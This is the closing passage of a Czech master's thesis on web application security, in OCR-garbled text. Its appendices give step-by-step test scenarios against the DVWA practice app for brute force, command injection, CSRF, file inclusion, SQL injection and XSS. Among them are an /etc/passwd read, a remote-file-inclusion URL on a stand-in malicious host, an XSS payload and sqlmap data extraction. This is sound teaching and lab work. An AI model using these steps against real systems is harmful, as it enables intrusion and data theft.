scénaft. Prostfedi bylo postaveno na platformé Virtual Box s opera¢nim systémem Kali
Linux. Nasledovalo navrzeni aimplementace testovacich scénaiti. Pro testovani byly
vyuzity volné dostupné nastroje pro eticky hacking, jako je Burp Suite, Sqlmap a Commix.
Provedené testy byly detailné¢ analyzovany a porovnany s cilem vybrat nejefektivné)si
postupy pro ochranu webovych aplikaci. Diky praktické demonstraci bylo dosazeno
hlubsiho porozuméni zranitelnostem webovych aplikaci a efektivnim zpisobim, jak jim
predchazet.

Vysledky prace jasn€ ukazaly, ze spravné navrzené testovaci scénafe a adekvatni ochranna
opatfeni mohou vyrazné zvysit uroveni bezpecnosti webovych aplikaci a minimalizovat
riziko uspeésného utoku. Zavery z této prace poskytuji cenny prinos pro zacatecniky v oblasti
kybernetické bezpec€nosti, ktefi mohou vyuzit ziskané poznatky.

Nicméné je dulezité si uvédomit, ze kyberneticka bezpecnost je dynamické pole a nové
hrozby a techniky Utoki se neustale vyvijeji. Proto je nezbytné nadale sledovat aktualni
trendy a inovace v oblasti bezpe¢nosti webovych aplikaci a pruzné reagovat na nové vyzvy.
Coz je i videt v aplikaci DVWA, jejiz moznosti se kazdy rok rozsifuji a poskytuji nové
moznosti pronikavat do systému. Diplomova prace poskytuje pevny zaklad pro dal$i vyzkum

a rozvoj v této klicové oblasti informacnich technologii.
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Piilohy

Priloha 1 - Testovaci scénar 1 pro Brute force utok

Vybér nastroje:

o Otevrete nastroj Burp Suite, ktery je k dispozici v Kali Linux.

Definice cile:

o Otevrete aplikacit DVWA v prohlizeci.

o Zjistéte URL a port, kde DVWA bézi. Obvykle je to http://localhost:80/dvwa/.

o Oveéite dostupnost cilového systému pomoci nastroji jako ping nebo curl,
napfiklad: ping localhost

Ptiprava seznamu

o Pripravte seznam uzivatelskych jmen. Muzete pouzit seznamy dostupné
v prostiedi jako je Kali Linux nebo nastroje pro generovani seznamu, jako je
napfiklad Seclists nebo Cewl.

o Pouzijte seznam cCasto pouzivanych hesel, naptiklad "password", "123456",
"admin", a dalSi.

Konfigurace nastroje Burp Suite:

o Otevrete Burp Suite.

o Nastavte Burp Suite, aby fungoval jako proxy server pro prohlize¢ a zachycoval
provoz mezi prohlizeCem a DVWA.

o Nastavte proxy v prohlizeci, aby pouzival Burp Suite (adresa a port, na kterém
Burp Suite bézi).

o V Burp Suite konfigurujte prichodovy bod (Upstream Proxy) pro provoz
smeéftujici na cilovou aplikaci DVWA.

Provedeni utoku:

o Spust'te Burp Suite a sledujte provoz mezi prohlizeCem a DVWA.

o Zaznamenejte pozadavky na piihlaSeni, které obsahuji pole pro uzivatelské
jméno a heslo.

o S pouzitim nastroje Intruder v Burp Suite nastavte slovnikovy utok s vasimi
seznamy uzivatelskych jmen a hesel.

o Spust’te utok a monitorujte vystup, hledaje ispésné prihlaseni.

Ovéfeni vysledka:
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http://localhost:80/dvwa/

o Pokud Burp Suite najde platné prihlasovaci udaje, ovéfte je manualné

piihlaSenim se do aplikace DVWA.

Priloha 2 - Testovaci scénar pro Command injection
e Vybér nastroje:
o Otevrete nastroj Commix, ktery je k dispozici v Kali Linux.
e Identifikace potencialné zranitelnych mist:
o Identifikujte mista v aplikaci DVWA, kde muze dojit k injektazi ptikazu.
o Overte, zda tyto vstupy nejsou jiz satinovany nebo omezeny na konkrétni formaty.
e Testovani zranitelnosti:
o Pouzijte Commix k testovani identifikovanych vstupnich bodii s béznymi injekénimi
ptikazy, napf.; Is nebo dir.
o V pripadé potieby upravte parametry Commix pro specifické testovani, jako je
obchazeni obrannych mechanismil nebo ttoky skryté za autentizaci.
e Analyza vysledki:
o Monitorujte vystup aplikace a Commix, abyste zjistili, zda je mozné provadét
ptikazy na serveru.
o Pokud je injekce uspésna, zkuste dalsi piikazy pro ziskani vice informaci o serveru,
napf. ziskani seznamu uzivateld, prohlizeni konfiguracnich souborti nebo spusténi

systémovych diagnostik.

Priloha 3 - Testovaci scénat pro CSRF utok
e Vybér nastroje:
o Otevrete nastroj Burp Suite, ktery je k dispozici v Kali Linux.
e Zachytavani pozadavki:
o Nastavte Burp Suite tak, aby fungoval jako proxy pro vas prohlizec.
o Provedte prichod aplikaci DVWA a zachytavejte vS§echny HTTP pozadavky.
e Analyza pozadavki:
o Identifikujte mista, kde aplikace méni stav nebo data bez pouziti CSRF tokenu.
Kli¢ova mista mohou zahrnovat zménu hesla, aktualizaci uzivatelského profilu
nebo jakoukoli jinou akci, ktera méni stav nebo data.

e Vytvoreni §kodlivého obsahu:
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o Na zakladé analyzovanych pozadavkd vytvoite Skodlivy odkaz nebo stranku,
ktera replikuje pozadavek. Tato stranka miize byt hostovana na jiném serveru
a méla by simulovat legitimni vyzvu k akci, kterou obét muze sledovat (napf.
,,JKliknéte sem pro aktualizaci svého profilu®).
o Pouzijte Burp Suite nebo jiny nastroj k vytvoreni CSRF payloadu, pokud je to
nutne.
e Simulace utoku:
o Poslete tento Skodlivy odkaz obéti. To mize byt simulovano otevienim odkazu
v prohlizeci, kde je uzivatel jiz pfihlasen do aplikace DVWA.
o Sleduyjte, zda je pozadavek uspésné proveden.
e Ovefeni vysledku:
o Oveérte dopady takového utoku, jako je zmeéna hesla obéti nebo uprava

uzivatelskych dat.

Priloha 4 - Testovaci scénar pro File inclusion
o Identifikace potencialnich soubort/slozek:

o Poznamenejte si vSechny soubory a slozky, které mohou byt zajimavé pro dalsi

zkoumani.
e Analyza aplikace:

o Prozkoumejte aplikaci DVWA aidentifikujte parametry nebo funkce, které
mohou zahrnovat soubory, napf. funkce pro nacitani Sablon, konfiguracnich
soubort nebo jinych zdroja.

e Testovani zranitelnosti:

o Vlozte rizné hodnoty do identifikovanych parametra. Pokusy mohou zahrnovat:

o Systémové soubory, napt. /etc/passwd

o Jiné soubory aplikace, které jste identifikovali v prvnim kroku.

o Odkazy na externi zdroje, napf.
http://malicious.example.com/malicious_script.php, abyste ovéfili Remote File
Inclusion (RFI).

e Ovéfeni zranitelnosti:
o Sledujte vystupy aplikace a hledejte znamky neopravnéného zaclenéni soubord,

jako jsou obsahy systémovych soubori nebo vystupy z externich zdroju.
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e Zkoumani dopadu:
o Pokud bylo mozné vlozit soubory, zkoumejte, co 1ze pomoci této zranitelnosti
dosahnout. To miize zahrnovat ziskani citlivych informaci, spusténi nezadoucich

skriptti nebo zménu chovani aplikace.

Priloha 5 - Testovaci scénar pro SQL Injection
e Vybér nastroje:

o Spustte nastroj sqlmap, ktery je k dispozici v Kali Linux.

o Identifikace potencialné zranitelnych bodi:

o Identifikujte parametry a body v aplikaci DVWA, kde Ize vlozit SQL koéd. To
muze zahrovat vstupy formulai, parametry URL nebo jakékoli jiné vstupni
body, kde se o¢ekavaji uzivatelské vstupy.

e Automatické testovani:

o Pouzijte sqlmap k automatickému testovani identifikovanych vstupnich boda. To
muze zahrnovat pouziti raznych technik SQL injection, aby byla zajiSténa
uplnost testovani.

e Analyza vysledki:

o Sledujte vystupy sqlmap a identifikujte zranitelné body.

o Pro vSechny identifikované zranitelné body pouzijte sqlmap k extrakci dat
z databaze, coz mize zahrnovat ziskani seznamu tabulek, obsahu téchto tabulek
nebo dokonce hesel a jinych citlivych informaci.

e Dalsi zkoumani:

o Pokud je zranitelnost potvrzena, zkuste provadét dalsi utoky pres sqlmap nebo
manualné. To miZe zahrnovat Cteni citlivych dat z databaze, zapis novych dat do
databaze, mazani dat z databaze nebo pokusy o ziskani vyssich opravnéni nebo

pfistupu k dal§im ¢astem systému.

Priloha 6 - Testovaci scénar pro Oveérovani pomoci JavaScriptu
e Zachyceni komunikace:
o Spustte Burp Suite a nastavte jej tak, aby fungoval jako proxy pro vas
prohlize¢, coz umozni zachytit veskerou HTTP a HTTPS komunikaci mezi

prohlizecem a aplikaci DVWA.
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e Identifikace ovérovacich funkci:

o Prozkoumejte aplikaci DVWA a identifikujte funkce a casti aplikace, které
pouzivaji JavaScript pro ovéfovani nebo validaci dat. To mize zahrnovat
formuléafe, interaktivni prvky nebo jakékoli jiné komponenty, které reaguji na
uzivatelské akce.

e Deaktivace JavaScriptu a zkouska:

o Deaktivujte JavaScript v prohlizeci.

o Zkuste provést akci nebo funkci v aplikaci DVWA, ktera by méla byt ovérena
nebo validovana pomoci JavaScriptu.

e Analyza vysledki:

o Sleduyjte chovani aplikace a zaznamenejte, zda je mozné obejit JavaScriptové
ovérovani. To mize zahrnovat odesilani neplatnych dat, obejiti omezeni nebo
provadéni akci, které by mely byt blokovany.

o Pokud je ovéfovani obejito, analyzujte, jaké informace nebo funkce jsou nyni

pfistupné a jak to muze ovlivnit celkovou bezpecnost a funkcnost aplikace.

Priloha 7 - Testovaci scénaft pro XSS
e Zachyceni komunikace:

o Spustte Burp Suite a nastavte jej tak, aby fungoval jako proxy pro vas
prohlize¢, coz umozni zachytit veskerou HTTP a HTTPS komunikaci mezi
prohlizecem a aplikaci DVWA.

e Identifikace potencialné zranitelnych bodu:

o Prozkoumejte aplikaci DVWA a identifikujte vstupni body, kde by mohl byt
vstup odrazen zpét v odpovédi. To muZze zahrnovat vstupy formulafa,
parametry URL, vyhledavani, komentafe nebo jakékoli jiné misto, kde se
uzivatelsky vstup zobrazuje vystupu.

e Testovani XSS payloadu:

o Vlozte rizné bézné XSS payloady do identifikovanych vstupnich boda.
Payloady mohou zahrnovat kod, jako je <script>alert('XSS')</script>, nebo
slozit&)si skripty pro ziskani cookie nebo manipulaci s DOM.

o Pro komplexni testovani mizete vyuzit seznam XSS payloadu dostupnych na

internetu nebo v databazi nastroje Burp Suite.
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Analyza vysledki:
o Po odeslani XSS payloadi sledujte chovani prohlizeCe a zaznamenejte, zda
je nektery z nich spustén.
o Pokud je néktery z payloadi uspésny, zkoumejte jeho chovani a zjistéte, jaky

ma potencialni dopad na uzivatele nebo aplikaci.
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